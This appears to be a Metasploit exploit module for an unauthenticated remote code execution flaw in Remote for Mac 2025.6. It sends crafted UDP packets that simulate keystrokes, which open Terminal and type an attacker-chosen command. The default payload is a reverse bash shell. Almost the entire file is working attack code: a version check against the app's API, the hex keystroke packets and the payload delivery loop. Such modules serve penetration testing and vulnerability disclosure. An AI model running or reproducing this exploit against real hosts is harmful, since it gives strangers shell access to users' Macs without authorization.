## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Udp prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Remote for Mac 2025.6 Unauthenticated UDP Keyboard RCE', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6. When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute arbitrary shell commands, achieving code execution as the current user. }, 'Author' => ['Chokri Hammedi'], 'License' => MSF_LICENSE, 'References' => [ ['PACKETSTORM', '196351'] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Unix Shell', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true }, 'DefaultPayload' => 'cmd/unix/reverse_bash', 'DisclosureDate' => '2025-05-27', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] } ) ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion') }) return CheckCode::Safe('Application might not be Remote For Mac') unless res&.code == 200 json_body = res.get_json_document auth_enabled = json_body.fetch('requires.auth', nil) return CheckCode::Detected('Remote For Mac detected, but authentication enabled') unless auth_enabled.to_s == 'false' version = json_body.fetch('version').to_s return CheckCode::Unknown('Could not determine target version') if version.empty? target_version = Rex::Version.new(version) vulnerable_version = Rex::Version.new('2025.7') return CheckCode::Appears("Detected vulnerable version #{version} with authentication disabled") if target_version <= vulnerable_version CheckCode::Safe("Target version #{version} is not vulnerable") end def exploit initial_packets_hex = [ '07000200370001', '07000200370001', '060003002000', '07000200370000', '07000200370000' ] final_packets_hex = [ '07000200240001', '07000200240000' ] udp_sock = connect_udp print_status('Simulating system keyboard input to open Terminal...') initial_packets_hex.each do |hexpkt| udp_sock.put([hexpkt].pack('H*')) select(nil, nil, nil, 0.05) end prefix = [0x06, 0x00, 0x03, 0x00].pack('C*') 'terminal'.each_char do |ch| pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') udp_sock.put(pkt) select(nil, nil, nil, 0.1) end final_packets_hex.each do |hexpkt| udp_sock.put([hexpkt].pack('H*')) end print_status('Initial sequence finished, waiting for terminal to be spawned..') sleep(2) shell_cmd = payload.encoded print_status('Sending malicious payload to be executed...') shell_cmd.each_char do |ch| pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') udp_sock.put(pkt) select(nil, nil, nil, 0.1) end final_packets_hex.each do |hexpkt| udp_sock.put([hexpkt].pack('H*')) end print_good('Payload sent. Awaiting session...') disconnect_udp(udp_sock) end end